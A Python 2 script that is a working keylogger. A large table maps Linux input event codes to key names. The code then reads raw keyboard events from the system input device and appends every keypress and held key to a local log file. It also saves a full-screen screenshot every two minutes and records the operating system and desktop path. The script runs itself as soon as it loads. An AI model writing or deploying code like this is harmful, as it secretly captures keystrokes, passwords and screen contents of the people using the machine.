keyboardMap = {
        0: "KEY_RESERVED",
        1: "KEY_ESC",
        2: "KEY_1",
        3: "KEY_2",
        4: "KEY_3",
        5: "KEY_4",
        6: "KEY_5",
        7: "KEY_6",
        8: "KEY_7",
        9: "KEY_8",
        10: "KEY_9",
        11: "KEY_0",
        12: "KEY_MINUS",
        13: "KEY_EQUAL",
        14: "KEY_BACKSPACE",
        15: "KEY_TAB",
        16: "KEY_Q",
        17: "KEY_W",
        18: "KEY_E",
        19: "KEY_R",
        20: "KEY_T",
        21: "KEY_Y",
        22: "KEY_U",
        23: "KEY_I",
        24: "KEY_O",
        25: "KEY_P",
        26: "KEY_LEFTBRACE",
        27: "KEY_RIGHTBRACE",
        28: "KEY_ENTER",
        29: "KEY_LEFTCTRL",
        30: "KEY_A",
        31: "KEY_S",
        32: "KEY_D",
        33: "KEY_F",
        34: "KEY_G",
        35: "KEY_H",
        36: "KEY_J",
        37: "KEY_K",
        38: "KEY_L",
        39: "KEY_SEMICOLON",
        40: "KEY_APOSTROPHE",
        41: "KEY_GRAVE",
        42: "KEY_LEFTSHIFT",
        43: "KEY_BACKSLASH",
        44: "KEY_Z",
        45: "KEY_X",
        46: "KEY_C",
        47: "KEY_V",
        48: "KEY_B",
        49: "KEY_N",
        50: "KEY_M",
        51: "KEY_COMMA",
        52: "KEY_DOT",
        53: "KEY_SLASH",
        54: "KEY_RIGHTSHIFT",
        55: "KEY_KPASTERISK",
        56: "KEY_LEFTALT",
        57: "KEY_SPACE",
        58: "KEY_CAPSLOCK",
        59: "KEY_F1",
        60: "KEY_F2",
        61: "KEY_F3",
        62: "KEY_F4",
        63: "KEY_F5",
        64: "KEY_F6",
        65: "KEY_F7",
        66: "KEY_F8",
        67: "KEY_F9",
        68: "KEY_F10",
        69: "KEY_NUMLOCK",
        70: "KEY_SCROLLLOCK",
        71: "KEY_KP7",
        72: "KEY_KP8",
        73: "KEY_KP9",
        74: "KEY_KPMINUS",
        75: "KEY_KP4",
        76: "KEY_KP5",
        77: "KEY_KP6",
        78: "KEY_KPPLUS",
        79: "KEY_KP1",
        80: "KEY_KP2",
        81: "KEY_KP3",
        82: "KEY_KP0",
        83: "KEY_KPDOT",
        84: "KEY_103RD",
        85: "KEY_F13",
        86: "KEY_102ND",
        87: "KEY_F11",
        88: "KEY_F12",
        89: "KEY_F14",
        90: "KEY_F15",
        91: "KEY_F16",
        92: "KEY_F17",
        93: "KEY_F18",
        94: "KEY_F19",
        95: "KEY_F20",
        96: "KEY_KPENTER",
        97: "KEY_RIGHTCTRL",
        98: "KEY_KPSLASH",
        99: "KEY_SYSRQ",
        100: "KEY_RIGHTALT",
        101: "KEY_LINEFEED",
        102: "KEY_HOME",
        103: "KEY_UP",
        104: "KEY_PAGEUP",
        105: "KEY_LEFT",
        106: "KEY_RIGHT",
        107: "KEY_END",
        108: "KEY_DOWN",
        109: "KEY_PAGEDOWN",
        110: "KEY_INSERT",
        111: "KEY_DELETE",
        112: "KEY_MACRO",
        113: "KEY_MUTE",
        114: "KEY_VOLUMEDOWN",
        115: "KEY_VOLUMEUP",
        116: "KEY_POWER",
        117: "KEY_KPEQUAL",
        118: "KEY_KPPLUSMINUS",
        119: "KEY_PAUSE",
        120: "KEY_F21",
        121: "KEY_F22",
        122: "KEY_F23",
        123: "KEY_F24",
        124: "KEY_KPCOMMA",
        125: "KEY_LEFTMETA",
        126: "KEY_RIGHTMETA",
        127: "KEY_COMPOSE",
        128: "KEY_STOP",
        129: "KEY_AGAIN",
        130: "KEY_PROPS",
        131: "KEY_UNDO",
        132: "KEY_FRONT",
        133: "KEY_COPY",
        134: "KEY_OPEN",
        135: "KEY_PASTE",
        136: "KEY_FIND",
        137: "KEY_CUT",
        138: "KEY_HELP",
        139: "KEY_MENU",
        140: "KEY_CALC",
        141: "KEY_SETUP",
        142: "KEY_SLEEP",
        143: "KEY_WAKEUP",
        144: "KEY_FILE",
        145: "KEY_SENDFILE",
        146: "KEY_DELETEFILE",
        147: "KEY_XFER",
        148: "KEY_PROG1",
        149: "KEY_PROG2",
        150: "KEY_WWW",
        151: "KEY_MSDOS",
        152: "KEY_COFFEE",
        153: "KEY_DIRECTION",
        154: "KEY_CYCLEWINDOWS",
        155: "KEY_MAIL",
        156: "KEY_BOOKMARKS",
        157: "KEY_COMPUTER",
        158: "KEY_BACK",
        159: "KEY_FORWARD",
        160: "KEY_CLOSECD",
        161: "KEY_EJECTCD",
        162: "KEY_EJECTCLOSECD",
        163: "KEY_NEXTSONG",
        164: "KEY_PLAYPAUSE",
        165: "KEY_PREVIOUSSONG",
        166: "KEY_STOPCD",
        167: "KEY_RECORD",
        168: "KEY_REWIND",
        169: "KEY_PHONE",
        170: "KEY_ISO",
        171: "KEY_CONFIG",
        172: "KEY_HOMEPAGE",
        173: "KEY_REFRESH",
        174: "KEY_EXIT",
        175: "KEY_MOVE",
        176: "KEY_EDIT",
        177: "KEY_SCROLLUP",
        178: "KEY_SCROLLDOWN",
        179: "KEY_KPLEFTPAREN",
        180: "KEY_KPRIGHTPAREN",
        181: "KEY_INTL1",
        182: "KEY_INTL2",
        183: "KEY_INTL3",
        184: "KEY_INTL4",
        185: "KEY_INTL5",
        186: "KEY_INTL6",
        187: "KEY_INTL7",
        188: "KEY_INTL8",
        189: "KEY_INTL9",
        190: "KEY_LANG1",
        191: "KEY_LANG2",
        192: "KEY_LANG3",
        193: "KEY_LANG4",
        194: "KEY_LANG5",
        195: "KEY_LANG6",
        196: "KEY_LANG7",
        197: "KEY_LANG8",
        198: "KEY_LANG9",
        200: "KEY_PLAYCD",
        201: "KEY_PAUSECD",
        202: "KEY_PROG3",
        203: "KEY_PROG4",
        205: "KEY_SUSPEND",
        206: "KEY_CLOSE",
        220: "KEY_UNKNOWN",
        224: "KEY_BRIGHTNESSDOWN",
        225: "KEY_BRIGHTNESSUP",
        0x100: "BTN_0",
        0x101: "BTN_1",
        0x102: "BTN_2",
        0x103: "BTN_3",
        0x104: "BTN_4",
        0x105: "BTN_5",
        0x106: "BTN_6",
        0x107: "BTN_7",
        0x108: "BTN_8",
        0x109: "BTN_9",
        0x110: "BTN_LEFT",
        0x111: "BTN_RIGHT",
        0x112: "BTN_MIDDLE",
        0x113: "BTN_SIDE",
        0x114: "BTN_EXTRA",
        0x115: "BTN_FORWARD",
        0x116: "BTN_BACK",
        0x120: "BTN_TRIGGER",
        0x121: "BTN_THUMB",
        0x122: "BTN_THUMB2",
        0x123: "BTN_TOP",
        0x124: "BTN_TOP2",
        0x125: "BTN_PINKIE",
        0x126: "BTN_BASE",
        0x127: "BTN_BASE2",
        0x128: "BTN_BASE3",
        0x129: "BTN_BASE4",
        0x12a: "BTN_BASE5",
        0x12b: "BTN_BASE6",
        0x12f: "BTN_DEAD",
        0x130: "BTN_A",
        0x131: "BTN_B",
        0x132: "BTN_C",
        0x133: "BTN_X",
        0x134: "BTN_Y",
        0x135: "BTN_Z",
        0x136: "BTN_TL",
        0x137: "BTN_TR",
        0x138: "BTN_TL2",
        0x139: "BTN_TR2",
        0x13a: "BTN_SELECT",
        0x13b: "BTN_START",
        0x13c: "BTN_MODE",
        0x13d: "BTN_THUMBL",
        0x13e: "BTN_THUMBR",
        0x140: "BTN_TOOL_PEN",
        0x141: "BTN_TOOL_RUBBER",
        0x142: "BTN_TOOL_BRUSH",
        0x143: "BTN_TOOL_PENCIL",
        0x144: "BTN_TOOL_AIRBRUSH",
        0x145: "BTN_TOOL_FINGER",
        0x146: "BTN_TOOL_MOUSE",
        0x147: "BTN_TOOL_LENS",
        0x14a: "BTN_TOUCH",
        0x14b: "BTN_STYLUS",
        0x14c: "BTN_STYLUS2"
}
#logger() dependancies
from time import localtime, strftime
from datetime import datetime, timedelta
#takeScreenshot() dependancies
import gtk.gdk
#osDetails() dependencies
import os
import platform

def logger():
	timeLocalToWrite = strftime("%d-%m-%Y %H:%M:%S", localtime())
	currentTime = datetime.now()
	byte = []
	toWrite = osDetails() + '\r' + timeLocalToWrite + '\n'
	log = open('./typeLog.txt', 'a')
	log.write(toWrite)
	log.close()
	toWrite = ''
	f = open('/dev/input/by-path/platform-i8042-serio-0-event-kbd', 'r')
	while True: 
		for bit in f.read(1):
			byte.append(ord(bit))
			if len(byte) == 8:
				if byte[2] in keyboardMap:
					if byte == [1, 0, byte[2], 0, 1, 0, 0, 0]:
						toWrite = keyboardMap[byte[2]] + " "
					elif byte == [1, 0, byte[2], 0, 2, 0, 0, 0]:
						toWrite = keyboardMap[byte[2]] + "_HOLD "
					if (datetime.now() - currentTime > timedelta(seconds=120)):
						toWrite += '\n' + strftime("%d-%m-%Y %H:%M:%S", localtime()) + '\n'
						takeScreenshot()
						currentTime = datetime.now()
					#print '/n' + toWrite
					log = open('./typeLog.txt', 'a')
					log.write(toWrite)
					log.close()
					toWrite = ''
				byte = []
				
def takeScreenshot():

	print 2.1
	w = gtk.gdk.get_default_root_window()
	sz = w.get_size()
	#print "The size of the window is %d x %d" % sz
	pb = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB,False,8,sz[0],sz[1])
	pb = pb.get_from_drawable(w,w.get_colormap(),0,0,0,0,sz[0],sz[1])
	saveTime = strftime("%d-%m-%Y %H:%M:%S", localtime())
	print 2.2
	if (pb != None):
		print 2.3
		pb.save("screenshot " + saveTime + ".png","png")
	print 2.4
	
def osDetails():
	userHome = os.path.expanduser('~')
	userOS = platform.system() # returns e.g. 'Linux' 'Windows' 
	
	if userOS == 'Linux':
		desktop = userHome + '/Desktop/'
		distribution = platform.linux_distribution()[0] + ' ' + platform.linux_distribution()[1] + ' ' + platform.linux_distribution()[2] # Lame attempt to convert tuple into string
		
	elif userOS == 'Windows':
		desktop = userHome + '\\Desktop\\'
		distribution = platform.node() + ' ' + platform.machine()
		
	return desktop + ' ' + distribution
	
# Begin program execution
logger()
